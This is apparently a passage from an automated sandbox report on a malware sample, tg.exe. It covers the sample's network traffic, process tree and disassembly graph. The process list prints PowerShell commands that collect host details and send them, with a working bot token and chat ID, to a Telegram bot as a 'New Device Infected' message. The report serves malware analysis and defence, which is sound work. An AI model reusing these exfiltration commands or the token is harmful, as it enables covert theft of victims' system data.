                                                                                Dec 23, 2024 01:11:07.318198919 CET1.1.1.1192.168.2.40x4746No error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)false

                                                                                HTTP Request Dependency Graph

                                                                                • api.ipify.org
                                                                                • api.telegram.org

                                                                                HTTPS Proxied Packets

                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                0192.168.2.449730104.26.12.2054437772C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                TimestampBytes transferredDirectionData
                                                                                2024-12-23 00:11:05 UTC170OUTGET /?format=text HTTP/1.1
                                                                                User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                                                Host: api.ipify.org
                                                                                Connection: Keep-Alive
                                                                                2024-12-23 00:11:05 UTC424INHTTP/1.1 200 OK
                                                                                Date: Mon, 23 Dec 2024 00:11:05 GMT
                                                                                Content-Type: text/plain
                                                                                Content-Length: 12
                                                                                Connection: close
                                                                                Vary: Origin
                                                                                cf-cache-status: DYNAMIC
                                                                                Server: cloudflare
                                                                                CF-RAY: 8f6421dd6ffe43f1-EWR
                                                                                server-timing: cfL4;desc="?proto=TCP&rtt=2029&min_rtt=2023&rtt_var=771&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=784&delivery_rate=1409266&cwnd=218&unsent_bytes=0&cid=76c4759e5a64a1f1&ts=450&x=0"
                                                                                2024-12-23 00:11:05 UTC12INData Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39
                                                                                Data Ascii: 8.46.123.189


                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                1192.168.2.449731149.154.167.2204438176C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                TimestampBytes transferredDirectionData
                                                                                2024-12-23 00:11:08 UTC315OUTPOST /bot7879910740:AAEmpll82MOqQk9TxWSC5yK5UZ56ixr0bZQ/sendMessage HTTP/1.1
                                                                                User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                Host: api.telegram.org
                                                                                Content-Length: 260
                                                                                Expect: 100-continue
                                                                                Connection: Keep-Alive
                                                                                2024-12-23 00:11:09 UTC260OUTData Raw: 63 68 61 74 5f 69 64 3d 36 37 33 34 39 38 35 37 30 35 26 74 65 78 74 3d 2b 25 34 30 4e 65 77 2b 44 65 76 69 63 65 2b 49 6e 66 65 63 74 65 64 21 21 21 25 32 43 2b 2b 49 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 41 2b 44 61 74 65 25 33 41 2b 32 30 32 34 2d 31 32 2d 32 32 2b 31 39 25 33 41 31 32 25 33 41 30 37 25 32 43 2b 2b 48 6f 73 74 6e 61 6d 65 25 33 41 2b 4a 4f 4e 45 53 2d 50 43 25 32 43 2b 4f 53 25 33 41 2b 2b 57 69 6e 33 32 4e 54 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 31 30 2e 30 2e 31 39 30 34 35 2e 30 2b 4d 69 63 72 6f 73 6f 66 74 2b 57 69 6e 64 6f 77 73 2b 4e 54 2b 31 30 2e 30 2e 31 39 30 34 35 2e 30 25 32 43 2b 2b 41 72 63 68 69 74 65 63 74 75 72 65 25 33 41 2b 36 34 2d 62 69 74 25 32 43 2b 2b 50 75 62 6c 69 63 2b 49 50 25 33 41 2b 38 2e 34 36 2e 31 32
                                                                                Data Ascii: chat_id=6734985705&text=+%40New+Device+Infected!!!%2C++Information%3A+Date%3A+2024-12-22+19%3A12%3A07%2C++Hostname%3A+user-PC%2C+OS%3A++Win32NT+++++++++++++10.0.19045.0+Microsoft+Windows+NT+10.0.19045.0%2C++Architecture%3A+64-bit%2C++Public+IP%3A+8.46.12
                                                                                2024-12-23 00:11:09 UTC25INHTTP/1.1 100 Continue
                                                                                2024-12-23 00:11:09 UTC882INHTTP/1.1 200 OK
                                                                                Server: nginx/1.18.0
                                                                                Date: Mon, 23 Dec 2024 00:11:09 GMT
                                                                                Content-Type: application/json
                                                                                Content-Length: 494
                                                                                Connection: close
                                                                                Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                Access-Control-Allow-Origin: *
                                                                                Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                {"ok":true,"result":{"message_id":47,"from":{"id":7879910740,"is_bot":true,"first_name":"catch","username":"catch2025_bot"},"chat":{"id":6734985705,"first_name":"R","username":"cjsjdjja","type":"private"},"date":1734912669,"text":"@New Device Infected!!!, Information: Date: 2024-12-22 19:12:07, Hostname: user-PC, OS: Win32NT 10.0.19045.0 Microsoft Windows NT 10.0.19045.0, Architecture: 64-bit, Public IP: 8.46.123.189","entities":[{"offset":195,"length":12,"type":"url"}]}}


                                                                                Statistics

                                                                                CPU Usage

                                                                                Click to jump to process

                                                                                Memory Usage

                                                                                Click to jump to process

                                                                                High Level Behavior Distribution

                                                                                Click to dive into process behavior distribution

                                                                                Behavior

                                                                                Click to jump to process

                                                                                System Behavior

                                                                                General

                                                                                Target ID:0
                                                                                Start time:19:10:59
                                                                                Start date:22/12/2024
                                                                                Path:C:\Users\user\Desktop\tg.exe
                                                                                Wow64 process (32bit):true
                                                                                Commandline:"C:\Users\user\Desktop\tg.exe"
                                                                                Imagebase:0x400000
                                                                                File size:90'112 bytes
                                                                                MD5 hash:F8ECEDC88E4D2776486231D0EF0AEA5D
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:low
                                                                                Has exited:false

                                                                                General

                                                                                Target ID:1
                                                                                Start time:19:10:59
                                                                                Start date:22/12/2024
                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:"C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D272.tmp\D273.tmp\D274.bat C:\Users\user\Desktop\tg.exe"
                                                                                Imagebase:0x7ff6b47b0000
                                                                                File size:289'792 bytes
                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:false

                                                                                General

                                                                                Target ID:2
                                                                                Start time:19:10:59
                                                                                Start date:22/12/2024
                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                Imagebase:0x7ff7699e0000
                                                                                File size:862'208 bytes
                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:false

                                                                                General

                                                                                Target ID:3
                                                                                Start time:19:10:59
                                                                                Start date:22/12/2024
                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:C:\Windows\system32\cmd.exe /c powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')"
                                                                                Imagebase:0x7ff6b47b0000
                                                                                File size:289'792 bytes
                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:true

                                                                                General

                                                                                Target ID:4
                                                                                Start time:19:10:59
                                                                                Start date:22/12/2024
                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')"
                                                                                Imagebase:0x7ff788560000
                                                                                File size:452'608 bytes
                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:true

                                                                                General

                                                                                Target ID:5
                                                                                Start time:19:11:01
                                                                                Start date:22/12/2024
                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')"
                                                                                Imagebase:0x7ff6b47b0000
                                                                                File size:289'792 bytes
                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:true

                                                                                General

                                                                                Target ID:6
                                                                                Start time:19:11:01
                                                                                Start date:22/12/2024
                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')"
                                                                                Imagebase:0x7ff788560000
                                                                                File size:452'608 bytes
                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:true

                                                                                General

                                                                                Target ID:7
                                                                                Start time:19:11:04
                                                                                Start date:22/12/2024
                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:C:\Windows\system32\cmd.exe /c powershell -Command "$env:COMPUTERNAME"
                                                                                Imagebase:0x7ff6b47b0000
                                                                                File size:289'792 bytes
                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:true

                                                                                General

                                                                                Target ID:8
                                                                                Start time:19:11:04
                                                                                Start date:22/12/2024
                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:powershell -Command "$env:COMPUTERNAME"
                                                                                Imagebase:0x7ff788560000
                                                                                File size:452'608 bytes
                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:true

                                                                                General

                                                                                Target ID:9
                                                                                Start time:19:11:05
                                                                                Start date:22/12/2024
                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:C:\Windows\system32\cmd.exe /c powershell -Command "[System.Environment]::OSVersion"
                                                                                Imagebase:0x7ff6b47b0000
                                                                                File size:289'792 bytes
                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:true

                                                                                General

                                                                                Target ID:10
                                                                                Start time:19:11:05
                                                                                Start date:22/12/2024
                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:powershell -Command "[System.Environment]::OSVersion"
                                                                                Imagebase:0x7ff788560000
                                                                                File size:452'608 bytes
                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high
                                                                                Has exited:true

                                                                                General

                                                                                Target ID:11
                                                                                Start time:19:11:05
                                                                                Start date:22/12/2024
                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:C:\Windows\system32\cmd.exe /c powershell -Command "if ([System.IntPtr]::Size -eq 8) { '64-bit' } else { '32-bit' }"
                                                                                Imagebase:0x7ff6b47b0000
                                                                                File size:289'792 bytes
                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Has exited:true

                                                                                General

                                                                                Target ID:12
                                                                                Start time:19:11:05
                                                                                Start date:22/12/2024
                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:powershell -Command "if ([System.IntPtr]::Size -eq 8) { '64-bit' } else { '32-bit' }"
                                                                                Imagebase:0x7ff788560000
                                                                                File size:452'608 bytes
                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Has exited:true

                                                                                General

                                                                                Target ID:13
                                                                                Start time:19:11:05
                                                                                Start date:22/12/2024
                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:powershell -Command "Invoke-RestMethod -Uri 'https://api.telegram.org/bot7879910740:AAEmpll82MOqQk9TxWSC5yK5UZ56ixr0bZQ/sendMessage' -Method POST -Body @{chat_id='6734985705' ; text=' @New Device Infected!!!, Information: Date: 2024-12-22 19:12:07, Hostname: user-PC, OS: Win32NT 10.0.19045.0 Microsoft Windows NT 10.0.19045.0, Architecture: 64-bit, Public IP: 8.46.123.189'}"
                                                                                Imagebase:0x7ff788560000
                                                                                File size:452'608 bytes
                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Has exited:true

                                                                                Disassembly

                                                                                Reset < >

                                                                                  Execution Graph

                                                                                  Execution Coverage:7.2%
                                                                                  Dynamic/Decrypted Code Coverage:0%
                                                                                  Signature Coverage:1.9%
                                                                                  Total number of Nodes:2000
                                                                                  Total number of Limit Nodes:77
                                                                                  execution_graph 7327 40aac0 7328 40aad8 7327->7328 7349 40d498 EnterCriticalSection 7328->7349 7330 40aaef 7331 40aca2 7330->7331 7332 40ab02 7330->7332 7333 40ab3e 7330->7333 7335 40ab19 7332->7335 7336 40ab1c CreateFileW 7332->7336 7334 40ab43 7333->7334 7339 40ab7c 7333->7339 7337 40ab5a 7334->7337 7338 40ab5d CreateFileW 7334->7338 7335->7336 7342 40abe8 7336->7342 7337->7338 7338->7342 7340 40aba7 CreateFileW 7339->7340 7339->7342 7341 40abc9 CreateFileW 7340->7341 7340->7342 7341->7342 7343 40ac22 7342->7343 7345 40ac0e HeapAlloc 7342->7345 7346 40ac70 7342->7346 7343->7346 7347 40ac5c SetFilePointer 7343->7347 7345->7343 7348 40ac81 7346->7348 7359 40d40a EnterCriticalSection 7346->7359 7347->7346 7350 40d4b2 7349->7350 7351 40d4c7 7349->7351 7367 40db72 HeapAlloc 7350->7367 7353 40d4ec 7351->7353 7354 40d4cc HeapReAlloc 7351->7354 7356 40d501 HeapAlloc 7353->7356 7357 40d4f5 7353->7357 7354->7353 7356->7357 7358 40d51d LeaveCriticalSection 7357->7358 7358->7330 7360 40d441 7359->7360 7361 40d422 7359->7361 7369 40db32 7360->7369 7361->7360 7362 40d427 7361->7362 7364 40d430 memset 7362->7364 7365 40d44d LeaveCriticalSection 7362->7365 7364->7365 7365->7331 7366 40d44b 7366->7365 7368 40d4c1 7367->7368 7368->7358 7370 40db43 HeapFree 7369->7370 7370->7366 10303 402e57 10304 40dfc0 21 API calls 10303->10304 10305 402e5d 10304->10305 10306 40a4f4 5 API calls 10305->10306 10307 402e68 10306->10307 10316 40de80 GetLastError TlsGetValue SetLastError 10307->10316 10309 402e6e 10317 40de80 GetLastError TlsGetValue SetLastError 10309->10317 10311 402e76 10312 409bc0 4 API calls 10311->10312 10313 402e81 10312->10313 10314 40dec0 3 API calls 10313->10314 10315 402e90 10314->10315 10316->10309 10317->10311 7372 401000 memset GetModuleHandleW HeapCreate 7373 401044 7372->7373 7425 40de30 HeapCreate TlsAlloc 7373->7425 7375 401053 7428 40aaa0 7375->7428 7377 40105d 7431 409b40 HeapCreate 7377->7431 7379 40106c 7432 409669 7379->7432 7381 401071 7437 408dee memset InitCommonControlsEx CoInitialize 7381->7437 7383 401076 7438 4053bb InitializeCriticalSection 7383->7438 7385 40107b 7439 405068 7385->7439 7389 4010c3 7442 40a3da 7389->7442 7393 4010e9 7394 40a3da 16 API calls 7393->7394 7395 4010f4 7394->7395 7396 40a348 13 API calls 7395->7396 7397 40110f 7396->7397 7453 40dbca 7397->7453 7399 40112d 7400 405068 4 API calls 7399->7400 7401 40113d 7400->7401 7402 40a3da 16 API calls 7401->7402 7403 401148 7402->7403 7404 40a348 13 API calls 7403->7404 7405 401163 7404->7405 7459 409930 7405->7459 7407 40116f 7465 40de80 GetLastError TlsGetValue SetLastError 7407->7465 7409 401175 7466 402f41 7409->7466 7413 401186 7491 401b8f 7413->7491 7416 401196 7839 403001 7416->7839 7417 40119b 7598 403df3 7417->7598 7970 40e6a0 HeapAlloc HeapAlloc TlsSetValue 7425->7970 7427 40de57 7427->7375 7971 40d52c HeapAlloc HeapAlloc InitializeCriticalSection 7428->7971 7430 40aaae 7430->7377 7431->7379 7972 40d353 7432->7972 7436 409687 InitializeCriticalSection 7436->7381 7437->7383 7438->7385 7982 40e130 7439->7982 7441 401095 GetStdHandle 7824 409de0 7441->7824 7443 40a3e3 7442->7443 7444 4010ce 7442->7444 7989 40a496 7443->7989 7834 40a348 HeapAlloc 7444->7834 7449 40a40e HeapFree 7449->7449 7452 40a420 7449->7452 7450 40a433 HeapFree 7450->7444 7451 40a427 HeapFree 7451->7450 7452->7450 7452->7451 8033 40dd1d 7453->8033 7456 40dbe7 RtlAllocateHeap 7457 40dc06 memset 7456->7457 7458 40dc4a 7456->7458 7457->7458 7458->7399 7460 409a50 7459->7460 7461 409a58 7460->7461 7462 409a7a SetUnhandledExceptionFilter 7460->7462 7463 409a61 SetUnhandledExceptionFilter 7461->7463 7464 409a6b SetUnhandledExceptionFilter 7461->7464 7462->7407 7463->7464 7464->7407 7465->7409 8039 40dfc0 7466->8039 7470 402f56 8054 40de80 GetLastError TlsGetValue SetLastError 7470->8054 7472 402fab 8055 40de80 GetLastError TlsGetValue SetLastError 7472->8055 7474 402fb3 8056 40de80 GetLastError TlsGetValue SetLastError 7474->8056 7476 402fbb 8057 40de80 GetLastError TlsGetValue SetLastError 7476->8057 7478 402fc3 8058 40d120 7478->8058 7482 402fde 8063 405eb0 7482->8063 7484 402fe6 8073 405170 TlsGetValue 7484->8073 7486 40117c 7487 40dec0 TlsGetValue 7486->7487 7488 40df06 RtlReAllocateHeap 7487->7488 7489 40dee9 RtlAllocateHeap 7487->7489 7490 40df27 7488->7490 7489->7490 7490->7413 7492 40dfc0 21 API calls 7491->7492 7493 401b9e 7492->7493 8098 40de80 GetLastError TlsGetValue SetLastError 7493->8098 7495 401ba4 8099 40de80 GetLastError TlsGetValue SetLastError 7495->8099 7497 401bb6 8100 40de80 GetLastError TlsGetValue SetLastError 7497->8100 7499 401bbe 8101 409698 7499->8101 7503 401bca LoadLibraryExW 7504 4051a0 3 API calls 7503->7504 7505 401bd7 EnumResourceTypesW FreeLibrary 7504->7505 7522 401c02 7505->7522 7506 401e16 7506->7506 7507 401ca0 7508 40a496 4 API calls 7507->7508 7509 401cab 7508->7509 8109 40de80 GetLastError TlsGetValue SetLastError 7509->8109 7511 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7511->7522 7512 401cb1 8110 40de80 GetLastError TlsGetValue SetLastError 7512->8110 7514 401cb9 8111 40de80 GetLastError TlsGetValue SetLastError 7514->8111 7516 401cc1 8112 40de80 GetLastError TlsGetValue SetLastError 7516->8112 7518 40de80 GetLastError TlsGetValue SetLastError 7518->7522 7519 401cc9 8113 40de80 GetLastError TlsGetValue SetLastError 7519->8113 7521 401cd6 8114 40de80 GetLastError TlsGetValue SetLastError 7521->8114 7522->7506 7522->7507 7522->7511 7522->7518 7527 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7522->7527 7524 401cde 8115 405e10 7524->8115 7527->7522 7529 401cee 8124 40d100 7529->8124 7533 401cfb 7534 405eb0 6 API calls 7533->7534 7535 401d03 7534->7535 7536 40dec0 3 API calls 7535->7536 7537 401d0d 7536->7537 8128 40de80 GetLastError TlsGetValue SetLastError 7537->8128 7539 401d17 8129 40e020 7539->8129 7541 401d1f 7542 40dec0 3 API calls 7541->7542 7543 401d29 7542->7543 8134 40de80 GetLastError TlsGetValue SetLastError 7543->8134 7545 401d2f 8135 40de80 GetLastError TlsGetValue SetLastError 7545->8135 7547 401d37 8136 40de80 GetLastError TlsGetValue SetLastError 7547->8136 7549 401d3f 8137 40de80 GetLastError TlsGetValue SetLastError 7549->8137 7551 401d47 7552 40d100 8 API calls 7551->7552 7553 401d57 7552->7553 8138 405182 TlsGetValue 7553->8138 7555 401d5c 7556 405eb0 6 API calls 7555->7556 7557 401d64 7556->7557 7558 40dec0 3 API calls 7557->7558 7559 401d6e 7558->7559 8139 40de80 GetLastError TlsGetValue SetLastError 7559->8139 7561 401d74 8140 40de80 GetLastError TlsGetValue SetLastError 7561->8140 7563 401d7c 8141 405f20 7563->8141 7565 401d8c 7566 40dec0 3 API calls 7565->7566 7567 401d96 7566->7567 7567->7506 8149 40985e 7567->8149 7570 401e12 7573 40df50 HeapFree 7570->7573 7572 401db5 8155 40de80 GetLastError TlsGetValue SetLastError 7572->8155 7575 401e2b 7573->7575 7577 40df50 HeapFree 7575->7577 7576 401dbd 8156 409872 7576->8156 7579 401e34 7577->7579 7581 40df50 HeapFree 7579->7581 7583 401e3d 7581->7583 7585 40df50 HeapFree 7583->7585 7584 401dce 8166 405160 7584->8166 7586 401e46 7585->7586 7588 40df50 HeapFree 7586->7588 7589 40118b 7588->7589 7589->7416 7589->7417 7590 401dd9 7590->7570 8169 40de80 GetLastError TlsGetValue SetLastError 7590->8169 7592 401df2 8170 40de80 GetLastError TlsGetValue SetLastError 7592->8170 7594 401dfa 7595 409872 21 API calls 7594->7595 7596 401e06 7595->7596 7597 40dec0 3 API calls 7596->7597 7597->7570 7599 403df9 7598->7599 7599->7599 7600 40dfc0 21 API calls 7599->7600 7615 403e0b 7600->7615 7601 405dc0 3 API calls 7601->7615 7602 40de80 GetLastError TlsGetValue SetLastError 7622 403e8c 7602->7622 7603 40de80 GetLastError TlsGetValue SetLastError 7629 403f0d 7603->7629 7604 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7604->7615 7605 405dc0 3 API calls 7605->7622 7606 40de80 GetLastError TlsGetValue SetLastError 7606->7615 7607 405dc0 3 API calls 7607->7629 7608 40de80 GetLastError TlsGetValue SetLastError 7646 404090 7608->7646 7609 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7609->7615 7610 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7610->7629 7611 405dc0 3 API calls 7634 403f8e 7611->7634 7612 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7612->7634 7614 40de80 GetLastError TlsGetValue SetLastError 7640 404115 7614->7640 7615->7601 7615->7604 7615->7606 7615->7609 7615->7622 7616 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7616->7622 7617 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7617->7629 7618 40de80 GetLastError TlsGetValue SetLastError 7618->7634 7619 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7639 40400f 7619->7639 7620 405dc0 3 API calls 7620->7646 7621 40de80 GetLastError TlsGetValue SetLastError 7647 40419a 7621->7647 7622->7602 7622->7605 7622->7616 7624 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7622->7624 7622->7629 7623 4042a4 8203 40de80 GetLastError TlsGetValue SetLastError 7623->8203 7624->7622 7625 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7625->7634 7626 40de80 GetLastError TlsGetValue SetLastError 7626->7639 7627 405dc0 3 API calls 7627->7640 7629->7603 7629->7607 7629->7610 7629->7617 7629->7634 7630 4042b0 7633 40e020 4 API calls 7630->7633 7631 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7631->7640 7632 405dc0 3 API calls 7632->7647 7635 4042b8 7633->7635 7634->7611 7634->7612 7634->7618 7634->7625 7634->7639 7638 40e020 4 API calls 7635->7638 7636 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7636->7639 7637 405dc0 3 API calls 7641 40421f 7637->7641 7642 4042c2 7638->7642 7639->7619 7639->7626 7639->7636 7639->7646 8200 405dc0 7639->8200 7640->7614 7640->7627 7640->7631 7640->7647 7652 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7640->7652 7641->7623 7641->7637 7649 40de80 GetLastError TlsGetValue SetLastError 7641->7649 7657 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7641->7657 7660 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7641->7660 7643 40dec0 3 API calls 7642->7643 7645 4042ce 7643->7645 7644 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7644->7646 8204 40de80 GetLastError TlsGetValue SetLastError 7645->8204 7646->7608 7646->7620 7646->7640 7646->7644 7651 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7646->7651 7647->7621 7647->7632 7647->7641 7648 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 7647->7648 7656 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 7647->7656 7648->7647 7649->7641 7651->7646 7652->7640 7653 4042d4 8205 403275 7653->8205 7656->7647 7657->7641 7658 40dec0 3 API calls 7659 4042ed 7658->7659 7661 40985e 17 API calls 7659->7661 7660->7641 7662 4042f2 GetModuleHandleW 7661->7662 8298 40de80 GetLastError TlsGetValue SetLastError 7662->8298 7664 40430b 8299 40de80 GetLastError TlsGetValue SetLastError 7664->8299 7666 404313 8300 40de80 GetLastError TlsGetValue SetLastError 7666->8300 7668 40431b 8301 40de80 GetLastError TlsGetValue SetLastError 7668->8301 7670 404323 7671 40d100 8 API calls 7670->7671 7672 404335 7671->7672 8302 405182 TlsGetValue 7672->8302 7674 40433a 7675 405eb0 6 API calls 7674->7675 7676 404342 7675->7676 7677 40dec0 3 API calls 7676->7677 7678 40434c 7677->7678 8303 40de80 GetLastError TlsGetValue SetLastError 7678->8303 7680 404352 8304 40de80 GetLastError TlsGetValue SetLastError 7680->8304 7682 40435a 8305 40de80 GetLastError TlsGetValue SetLastError 7682->8305 7684 404362 8306 40de80 GetLastError TlsGetValue SetLastError 7684->8306 7686 40436a 7687 40d100 8 API calls 7686->7687 7688 40437a 7687->7688 8307 405182 TlsGetValue 7688->8307 7690 40437f 7691 405eb0 6 API calls 7690->7691 7692 404387 7691->7692 7693 40dec0 3 API calls 7692->7693 7694 404391 7693->7694 8308 402e9d 7694->8308 7698 4043a4 8325 4021a4 7698->8325 7701 4051a0 3 API calls 7702 4043b4 7701->7702 8439 40195b 7702->8439 7708 4043c8 8530 40358d 7708->8530 7711 40dec0 3 API calls 7712 4043ee PathRemoveBackslashW 7711->7712 7713 404402 7712->7713 8658 40de80 GetLastError TlsGetValue SetLastError 7713->8658 7715 404408 8659 40de80 GetLastError TlsGetValue SetLastError 7715->8659 7717 404410 8660 402bfa 7717->8660 7721 404422 8690 405182 TlsGetValue 7721->8690 7723 40442b 8691 4098c0 7723->8691 7726 4051a0 3 API calls 7727 404439 7726->7727 8695 40de80 GetLastError TlsGetValue SetLastError 7727->8695 7729 404445 7730 40e020 4 API calls 7729->7730 7731 40444d 7730->7731 7732 40e020 4 API calls 7731->7732 7733 404459 7732->7733 7734 40dec0 3 API calls 7733->7734 7735 404465 7734->7735 8696 40de80 GetLastError TlsGetValue SetLastError 7735->8696 7737 40446b 8697 401e55 7737->8697 7740 40dec0 3 API calls 7741 404480 7740->7741 8743 403855 7741->8743 7745 404491 7746 40e020 4 API calls 7745->7746 7747 404499 7746->7747 7748 40dec0 3 API calls 7747->7748 7749 4044a3 PathQuoteSpacesW 7748->7749 8937 40de80 GetLastError TlsGetValue SetLastError 7749->8937 7751 4044b6 7752 40e020 4 API calls 7751->7752 7753 4044be 7752->7753 7754 40e020 4 API calls 7753->7754 7755 4044c9 7754->7755 7756 40e020 4 API calls 7755->7756 7757 4044d3 7756->7757 7758 40dec0 3 API calls 7757->7758 7759 4044dd PathQuoteSpacesW 7758->7759 7760 4044f1 7759->7760 7761 404509 7759->7761 8974 405492 CreateThread 7760->8974 8984 402ca9 7761->8984 7765 404512 8938 40de80 GetLastError TlsGetValue SetLastError 7765->8938 7767 404518 8939 40de80 GetLastError TlsGetValue SetLastError 7767->8939 10157 409ecf 7824->10157 7827 409ea4 7827->7389 7828 409e0b HeapAlloc 7830 409e93 HeapFree 7828->7830 7831 409e2e 7828->7831 7830->7827 10168 40d819 7831->10168 7835 40a367 HeapAlloc 7834->7835 7836 40a37c 7834->7836 7835->7836 7837 40d819 11 API calls 7836->7837 7838 40a3cf 7837->7838 7838->7393 7840 40dfc0 21 API calls 7839->7840 7841 40300e 7840->7841 10201 40de80 GetLastError TlsGetValue SetLastError 7841->10201 7843 403014 10202 40de80 GetLastError TlsGetValue SetLastError 7843->10202 7845 40301c 10203 40de80 GetLastError TlsGetValue SetLastError 7845->10203 7847 403024 10204 40de80 GetLastError TlsGetValue SetLastError 7847->10204 7849 40302c 7850 40d100 8 API calls 7849->7850 7851 40303e 7850->7851 10205 405182 TlsGetValue 7851->10205 7853 403043 